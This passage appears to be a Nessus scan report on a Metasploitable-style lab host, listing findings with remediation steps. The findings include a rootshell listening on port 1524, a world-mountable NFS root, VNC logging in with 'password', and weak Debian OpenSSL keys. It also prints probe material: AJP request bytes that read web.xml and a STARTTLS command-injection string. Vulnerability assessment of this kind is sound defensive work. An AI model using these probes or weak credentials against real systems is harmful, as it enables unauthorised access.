0x00F0:  74 6D 6C 00 A0 0B 00 09 6C 6F 63 61 6C 68 6F 73    tml.....localhos
0x0100:  74 00 0A 00 21 6A 61 76 61 78 2E 73 65 72 76 6C    t...!javax.servl
0x0110:  65 74 2E 69 6E 63 6C 75 64 65 2E 72 65 71 75 65    et.include.reque
0x0120:  73 74 5F 75 72 69 00 00 01 31 00 0A 00 1F 6A 61    st_uri...1....ja
0x0130:  76 61 78 2E 73 65 72 76 6C 65 74 2E 69 6E 63 6C    vax.servlet.incl
0x0140:  75 64 65 2E 70 61 74 68 5F 69 6E 66 6F 00 00 10    ude.path_info...
0x0150:  2F 57 45 42 2D 49 4E 46 2F 77 65 62 2E 78 6D 6C    /WEB-INF/web.xml
0x0160:  00 0A 00 22 6A 61 76 61 78 2E 73 65 72 76 6C 65    ..."javax.servle
0x0170:  74 2E 69 6E 63 6C 75 64 65 2E 73 65 72 76 6C 65    t.include.servle
0x0180:  74 5F 70 61 74 68 00 00 00 00 FF                   t_path.....


This produced the following truncated output (limite [...]
```

51988 - Bind Shell Backdoor Detection

Synopsis

The remote host may have been compromised.

Description

A shell is listening on the remote port without any authentication being required. An attacker may use it by connecting to the remote port and sending commands directly.

Solution

Verify if the remote host has been compromised, and reinstall the system if necessary.

Risk Factor

Critical

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2011/02/15, Modified: 2022/04/11

Plugin Output

tcp/1524/wild_shell

```
Nessus was able to execute the command "id" using the
following request :


This produced the following truncated output (limited to 10 lines) :
------------------------------ snip ------------------------------
root@metasploitable:/# uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:/#

------------------------------ snip ------------------------------
```

32314 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness

Synopsis

The remote SSH host keys are weak.

Description

The remote SSH host key has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to set up decipher the remote session or set up a man in the middle attack.

See Also

http://www.nessus.org/u?107f9bdc

http://www.nessus.org/u?f14f4224

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

VPR Score

5.1

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/14, Modified: 2018/11/15

Plugin Output

tcp/22/ssh

32321 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)

Synopsis

The remote SSL certificate uses a weak key.

Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

See Also

http://www.nessus.org/u?107f9bdc

http://www.nessus.org/u?f14f4224

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

VPR Score

5.1

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/15, Modified: 2020/11/16

Plugin Output

tcp/25/smtp

32321 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)

Synopsis

The remote SSL certificate uses a weak key.

Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

See Also

http://www.nessus.org/u?107f9bdc

http://www.nessus.org/u?f14f4224

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

VPR Score

5.1

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/15, Modified: 2020/11/16

Plugin Output

tcp/5432/postgresql

11356 - NFS Exported Share Information Disclosure

Synopsis

It is possible to access NFS shares on the remote host.

Description

At least one of the NFS shares exported by the remote server could be mounted by the scanning host. An attacker may be able to leverage this to read (and possibly write) files on remote host.

Solution

Configure NFS on the remote host so that only authorized hosts can mount its remote shares.

Risk Factor

Critical

VPR Score

5.9

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

References

CVE	CVE-1999-0170
CVE	CVE-1999-0211
CVE	CVE-1999-0554

Exploitable With

Metasploit (true)

Plugin Information

Published: 2003/03/12, Modified: 2023/08/30

Plugin Output

udp/2049/rpc-nfs

```
The following NFS shares could be mounted :

+ /
```

```
+ Contents of / :
  - .
  - ..
  - bin
  - boot
  - cdrom
  - dev
  - etc
  - home
  - initrd
  - initrd.img
  - lib
  - lost+found
  - media
  - mnt
  - nohup.out
  - opt
  - proc
  - root
  - sbin
  - srv
  - sys
  - tmp
  - usr
  - var
  - vmlinuz
```

33850 - Unix Operating System Unsupported Version Detection

Synopsis

The operating system running on the remote host is no longer supported.

Description

According to its self-reported version number, the Unix operating system running on the remote host is no longer supported.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it is likely to contain security vulnerabilities.

Solution

Upgrade to a version of the Unix operating system that is currently supported.

Risk Factor

Critical

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

References

XREF	IAVA:0001-A-0502
XREF	IAVA:0001-A-0648

Plugin Information

Published: 2008/08/08, Modified: 2024/03/14

Plugin Output

tcp/0

```
Ubuntu 8.04 support ended on 2011-05-12 (Desktop) / 2013-05-09 (Server).
Upgrade to Ubuntu 23.04 / LTS 22.04 / LTS 20.04 .

For more information, see : https://wiki.ubuntu.com/Releases
```

61708 - VNC Server 'password' Password

Synopsis

A VNC server running on the remote host is secured with a weak password.

Description

The VNC server running on the remote host is secured with a weak password. Nessus was able to login using VNC authentication and a password of 'password'. A remote, unauthenticated attacker could exploit this to take control of the system.

Solution

Secure the VNC service with a strong password.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2012/08/29, Modified: 2015/09/24

Plugin Output

tcp/5900/vnc

```
Nessus logged in using a password of "password".
```

136769 - ISC BIND Service Downgrade / Reflected DoS

Synopsis

The remote name server is affected by Service Downgrade / Reflected DoS vulnerabilities.

Description

According to its self-reported version, the instance of ISC BIND 9 running on the remote name server is affected by performance downgrade and Reflected DoS vulnerabilities. This is due to BIND DNS not sufficiently limiting the number fetches which may be performed while processing a referral response.

An unauthenticated, remote attacker can exploit this to cause degrade the service of the recursive server or to use the affected server as a reflector in a reflection attack.

See Also

https://kb.isc.org/docs/cve-2020-8616

Solution

Upgrade to the ISC BIND version referenced in the vendor advisory.

Risk Factor

Medium

CVSS v3.0 Base Score

8.6 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

7.7 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

5.2

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-8616
XREF	IAVA:2020-A-0217-S

Plugin Information

Published: 2020/05/22, Modified: 2024/03/12

Plugin Output

udp/53/dns

```
Installed version : 9.4.2
Fixed version     : 9.11.19
```

42256 - NFS Shares World Readable

Synopsis

The remote NFS server exports world-readable shares.

Description

The remote NFS server is exporting one or more shares without restricting access (based on hostname, IP, or IP range).

See Also

http://www.tldp.org/HOWTO/NFS-HOWTO/security.html

Solution

Place the appropriate restrictions on all NFS shares.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2009/10/26, Modified: 2024/02/21

Plugin Output

tcp/2049/rpc-nfs

```
The following shares have no access restrictions :

  / *
```

164017 - NodeJS System Information Library Command Injection (CVE-2021-21315)

Synopsis

The remote host contains a web application framework library that is affected by a command injection vulnerability.

Description

The remote host contains a systeminformation npm module that is prior to 5.3.1. It is, therefore, affected by a command injection vulnerability. The System Information Library for Node.JS (npm package 'systeminformation') is an open source collection of functions to retrieve detailed hardware, system and OS information. In systeminformation before version 5.3.1 there is a command injection vulnerability. The vulnerability was fixed in version 5.3.1. As a workaround instead of upgrading, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), or si.processLoad()... to only allow strings and reject any arrays. String sanitization works as expected.

See Also

http://www.nessus.org/u?103e42ce

https://security.netapp.com/advisory/ntap-20210312-0007/

http://www.nessus.org/u?5b30aacc

http://www.nessus.org/u?103e42ce

Solution

Upgrade to the systeminformation module to 5.3.1 or later.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

VPR Score

7.4

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

CVE	CVE-2021-21315
XREF	CISA-KNOWN-EXPLOITED:2022/02/01

Plugin Information

Published: 2022/08/10, Modified: 2024/03/19

Plugin Output

tcp/80/www

```
Nessus was able to detect the vulnerability by a specially crafted payload.
Nessus detected that the target host performed a DNS lookup on a name in the payload.
```

90509 - Samba Badlock Vulnerability

Synopsis

An SMB server running on the remote host is affected by the Badlock vulnerability.

Description

The version of Samba, a CIFS/SMB server for Linux and Unix, running on the remote host is affected by a flaw, known as Badlock, that exists in the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) protocols due to improper authentication level negotiation over Remote Procedure Call (RPC) channels. A man-in-the-middle attacker who is able to able to intercept the traffic between a client and a server hosting a SAM database can exploit this flaw to force a downgrade of the authentication level, which allows the execution of arbitrary Samba network calls in the context of the intercepted user, such as viewing or modifying sensitive security data in the Active Directory (AD) database or disabling critical services.

See Also

http://badlock.org

https://www.samba.org/samba/security/CVE-2016-2118.html

Solution

Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

6.7

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID	86002
CVE	CVE-2016-2118
XREF	CERT:813296

Plugin Information

Published: 2016/04/13, Modified: 2019/11/20

Plugin Output

tcp/445/cifs

```
Nessus detected that the Samba Badlock patch has not been applied.
```

11213 - HTTP TRACE / TRACK Methods Allowed

Synopsis

Debugging functions are enabled on the remote web server.

Description

The remote web server supports the TRACE and/or TRACK methods. TRACE and TRACK are HTTP methods that are used to debug web server connections.

See Also

http://www.nessus.org/u?e979b5cb

http://www.apacheweek.com/issues/03-01-24

https://download.oracle.com/sunalerts/1000718.1.html

Solution

Disable these HTTP methods. Refer to the plugin output for more information.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

4.0

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	9506

BID	9561
BID	11604
BID	33374
BID	37995
CVE	CVE-2003-1567
CVE	CVE-2004-2320
CVE	CVE-2010-0386
XREF	CERT:288308
XREF	CERT:867593
XREF	CWE:16
XREF	CWE:200

Plugin Information

Published: 2003/01/23, Modified: 2023/10/27

Plugin Output

tcp/80/www

```
To disable these methods, add the following lines for each virtual
host in your configuration file :

    RewriteEngine on
    RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
    RewriteRule .* - [F]

Alternatively, note that Apache versions 1.3.34, 2.0.55, and 2.2
support disabling the TRACE method natively via the 'TraceEnable'
directive.

Nessus sent the following TRACE request : \n\n------------------------------ snip
 ------------------------------\nTRACE /Nessus352325818.html HTTP/1.1
Connection: Close
Host: 192.168.50.101
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

------------------------------ snip ------------------------------\n\nand received the
 following response from the remote server :\n\n------------------------------ snip
 ------------------------------\nHTTP/1.1 200 OK
Date: Wed, 27 Mar 2024 16:30:22 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: message/http


TRACE /Nessus352325818.html HTTP/1.1
Connection: Keep-Alive
Host: 192.168.50.101
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
```

```
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

------------------------------ snip ------------------------------\n
```

139915 - ISC BIND 9.x < 9.11.22, 9.12.x < 9.16.6, 9.17.x < 9.17.4 DoS

Synopsis

The remote name server is affected by a denial of service vulnerability.

Description

According to its self-reported version number, the installation of ISC BIND running on the remote name server is version 9.x prior to 9.11.22, 9.12.x prior to 9.16.6 or 9.17.x prior to 9.17.4. It is, therefore, affected by a denial of service (DoS) vulnerability due to an assertion failure when attempting to verify a truncated response to a TSIG-signed request. An authenticated, remote attacker can exploit this issue by sending a truncated response to a TSIG-signed request to trigger an assertion failure, causing the server to exit.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://kb.isc.org/docs/cve-2020-8622

Solution

Upgrade to BIND 9.11.22, 9.16.6, 9.17.4 or later.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.7 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

CVSS v2.0 Base Score

4.0 (CVSS2#AV:N/AC:L/Au:S/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.0 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-8622
XREF	IAVA:2020-A-0385-S

Plugin Information

Published: 2020/08/27, Modified: 2021/06/03

Plugin Output

udp/53/dns

```
Installed version : 9.4.2
Fixed version     : 9.11.22, 9.16.6, 9.17.4 or later
```

136808 - ISC BIND Denial of Service

Synopsis

The remote name server is affected by an assertion failure vulnerability.

Description

A denial of service (DoS) vulnerability exists in ISC BIND versions 9.11.18 / 9.11.18-S1 / 9.12.4-P2 / 9.13 / 9.14.11 / 9.15 / 9.16.2 / 9.17 / 9.17.1 and earlier. An unauthenticated, remote attacker can exploit this issue, via a specially-crafted message, to cause the service to stop responding.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://kb.isc.org/docs/cve-2020-8617

Solution

Upgrade to the patched release most closely related to your current version of BIND.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.3 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-8617
XREF	IAVA:2020-A-0217-S

Plugin Information

Published: 2020/05/22, Modified: 2023/03/23

Plugin Output

udp/53/dns

```
Installed version : 9.4.2
Fixed version     : 9.11.19
```

57608 - SMB Signing not required

Synopsis

Signing is not required on the remote SMB server.

Description

Signing is not required on the remote SMB server. An unauthenticated, remote attacker can exploit this to conduct man-in-the-middle attacks against the SMB server.

See Also

http://www.nessus.org/u?df39b8b3

http://technet.microsoft.com/en-us/library/cc731957.aspx

http://www.nessus.org/u?74b80723

https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html

http://www.nessus.org/u?a3cac4ea

Solution

Enforce message signing in the host's configuration. On Windows, this is found in the policy setting 'Microsoft network server: Digitally sign communications (always)'. On Samba, the setting is called 'server signing'. See the 'see also' links for further details.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

Plugin Information

Published: 2012/01/19, Modified: 2022/10/05

Plugin Output

tcp/445/cifs

52611 - SMTP Service STARTTLS Plaintext Command Injection

Synopsis

The remote mail service allows plaintext command injection while negotiating an encrypted communications channel.

Description

The remote SMTP service contains a software flaw in its STARTTLS implementation that could allow a remote, unauthenticated attacker to inject commands during the plaintext protocol phase that will be executed during the ciphertext protocol phase.

Successful exploitation could allow an attacker to steal a victim's email or associated SASL (Simple Authentication and Security Layer) credentials.

See Also

https://tools.ietf.org/html/rfc2487

https://www.securityfocus.com/archive/1/516901/30/0/threaded

Solution

Contact the vendor to see if an update is available.

Risk Factor

Medium

VPR Score

6.3

CVSS v2.0 Base Score

4.0 (CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:N)

CVSS v2.0 Temporal Score

3.1 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	46767
CVE	CVE-2011-0411
CVE	CVE-2011-1430
CVE	CVE-2011-1431
CVE	CVE-2011-1432

CVE	CVE-2011-1506
CVE	CVE-2011-2165
XREF	CERT:555316

Plugin Information

Published: 2011/03/10, Modified: 2019/03/06

Plugin Output

tcp/25/smtp

```
Nessus sent the following two commands in a single packet :

  STARTTLS\r\nRSET\r\n

And the server sent the following two responses :

  220 2.0.0 Ready to start TLS
  250 2.0.0 Ok
```

90317 - SSH Weak Algorithms Supported

Synopsis

The remote SSH server is configured to allow weak encryption algorithms or no algorithm at all.

Description

Nessus has detected that the remote SSH server is configured to use the Arcfour stream cipher or no cipher at all. RFC 4253 advises against using Arcfour due to an issue with weak keys.

See Also

https://tools.ietf.org/html/rfc4253#section-6.3

Solution

Contact the vendor or consult product documentation to remove the weak ciphers.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2016/04/04, Modified: 2016/12/14

Plugin Output

tcp/22/ssh

```
The following weak server-to-client encryption algorithms are supported :

  arcfour
  arcfour128
  arcfour256

The following weak client-to-server encryption algorithms are supported :

  arcfour
  arcfour128
  arcfour256
```

51192 - SSL Certificate Cannot Be Trusted

Synopsis

The SSL certificate for this service cannot be trusted.

Description

The server's X.509 certificate cannot be trusted. This situation can occur in three different ways, in which the chain of trust can be broken, as stated below :

- First, the top of the certificate chain sent by the server might not be descended from a known public certificate authority. This can occur either when the top of the chain is an unrecognized, self-signed certificate, or when intermediate certificates are missing that would connect the top of the certificate chain to a known public certificate authority.

- Second, the certificate chain may contain a certificate that is not valid at the time of the scan. This can occur either when the scan occurs before one of the certificate's 'notBefore' dates, or after one of the certificate's 'notAfter' dates.

- Third, the certificate chain may contain a signature that either didn't match the certificate's information or could not be verified. Bad signatures can be fixed by getting the certificate with the bad signature to be re-signed by its issuer. Signatures that could not be verified are the result of the certificate's issuer using a signing algorithm that Nessus either does not support or does not recognize.

If the remote host is a public host in production, any break in the chain makes it more difficult for users to verify the authenticity and identity of the web server. This could make it easier to carry out man-in-the-middle attacks against the remote host.

See Also

https://www.itu.int/rec/T-REC-X.509/en

https://en.wikipedia.org/wiki/X.509

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2010/12/15, Modified: 2020/04/27

Plugin Output

tcp/25/smtp

```
The following certificate was part of the certificate chain
sent by the remote host, but it has expired :

|-Subject   : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
|-Not After : Apr 16 14:07:45 2010 GMT

The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
|-Issuer  : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
```

51192 - SSL Certificate Cannot Be Trusted

Synopsis

The SSL certificate for this service cannot be trusted.

Description

The server's X.509 certificate cannot be trusted. This situation can occur in three different ways, in which the chain of trust can be broken, as stated below :

- First, the top of the certificate chain sent by the server might not be descended from a known public certificate authority. This can occur either when the top of the chain is an unrecognized, self-signed certificate, or when intermediate certificates are missing that would connect the top of the certificate chain to a known public certificate authority.

- Second, the certificate chain may contain a certificate that is not valid at the time of the scan. This can occur either when the scan occurs before one of the certificate's 'notBefore' dates, or after one of the certificate's 'notAfter' dates.

- Third, the certificate chain may contain a signature that either didn't match the certificate's information or could not be verified. Bad signatures can be fixed by getting the certificate with the bad signature to be re-signed by its issuer. Signatures that could not be verified are the result of the certificate's issuer using a signing algorithm that Nessus either does not support or does not recognize.

If the remote host is a public host in production, any break in the chain makes it more difficult for users to verify the authenticity and identity of the web server. This could make it easier to carry out man-in-the-middle attacks against the remote host.

See Also

https://www.itu.int/rec/T-REC-X.509/en

https://en.wikipedia.org/wiki/X.509

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2010/12/15, Modified: 2020/04/27

Plugin Output

tcp/5432/postgresql

```
The following certificate was part of the certificate chain
sent by the remote host, but it has expired :

|-Subject   : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
|-Not After : Apr 16 14:07:45 2010 GMT

The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
|-Issuer  : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
```

15901 - SSL Certificate Expiry

Synopsis

The remote server's SSL certificate has already expired.

Description

This plugin checks expiry dates of certificates associated with SSL- enabled services on the target and reports whether any have already expired.

Solution

Purchase or generate a new SSL certificate to replace the existing one.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2004/12/03, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

```
The SSL certificate has already expired :

  Subject          : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,
 OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,
 emailAddress=root@ubuntu804-base.localdomain
  Issuer           : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,
 OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,
 emailAddress=root@ubuntu804-base.localdomain
  Not valid before : Mar 17 14:07:45 2010 GMT
  Not valid after  : Apr 16 14:07:45 2010 GMT
```

15901 - SSL Certificate Expiry

Synopsis

The remote server's SSL certificate has already expired.

Description

This plugin checks expiry dates of certificates associated with SSL- enabled services on the target and reports whether any have already expired.

Solution

Purchase or generate a new SSL certificate to replace the existing one.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2004/12/03, Modified: 2021/02/03

Plugin Output

tcp/5432/postgresql

```
The SSL certificate has already expired :

  Subject          : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,
 OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,
 emailAddress=root@ubuntu804-base.localdomain
  Issuer           : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,
 OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,
 emailAddress=root@ubuntu804-base.localdomain
  Not valid before : Mar 17 14:07:45 2010 GMT
  Not valid after  : Apr 16 14:07:45 2010 GMT
```

45411 - SSL Certificate with Wrong Hostname

Synopsis

The SSL certificate for this service is for a different host.

Description

The 'commonName' (CN) attribute of the SSL certificate presented for this service is for a different machine.

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2010/04/03, Modified: 2020/04/27

Plugin Output

tcp/25/smtp

```
The identities known by Nessus are :

  192.168.50.101
  192.168.50.101

The Common Name in the certificate is :

  ubuntu804-base.localdomain
```

45411 - SSL Certificate with Wrong Hostname

Synopsis

The SSL certificate for this service is for a different host.

Description

The 'commonName' (CN) attribute of the SSL certificate presented for this service is for a different machine.

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

Plugin Information

Published: 2010/04/03, Modified: 2020/04/27

Plugin Output

tcp/5432/postgresql

```
The identities known by Nessus are :

  192.168.50.101
  192.168.50.101

The Common Name in the certificate is :

  ubuntu804-base.localdomain
```

57582 - SSL Self-Signed Certificate

Synopsis

The SSL certificate chain for this service ends in an unrecognized self-signed certificate.

Description

The X.509 certificate chain for this service is not signed by a recognized certificate authority. If the remote host is a public host in production, this nullifies the use of SSL as anyone could establish a man-in-the-middle attack against the remote host.

Note that this plugin does not check for certificate chains that end in a certificate that is not self-signed, but is signed by an unrecognized certificate authority.

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2012/01/17, Modified: 2022/06/14

Plugin Output

tcp/25/smtp

```
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :

|-Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
```

57582 - SSL Self-Signed Certificate

Synopsis

The SSL certificate chain for this service ends in an unrecognized self-signed certificate.

Description

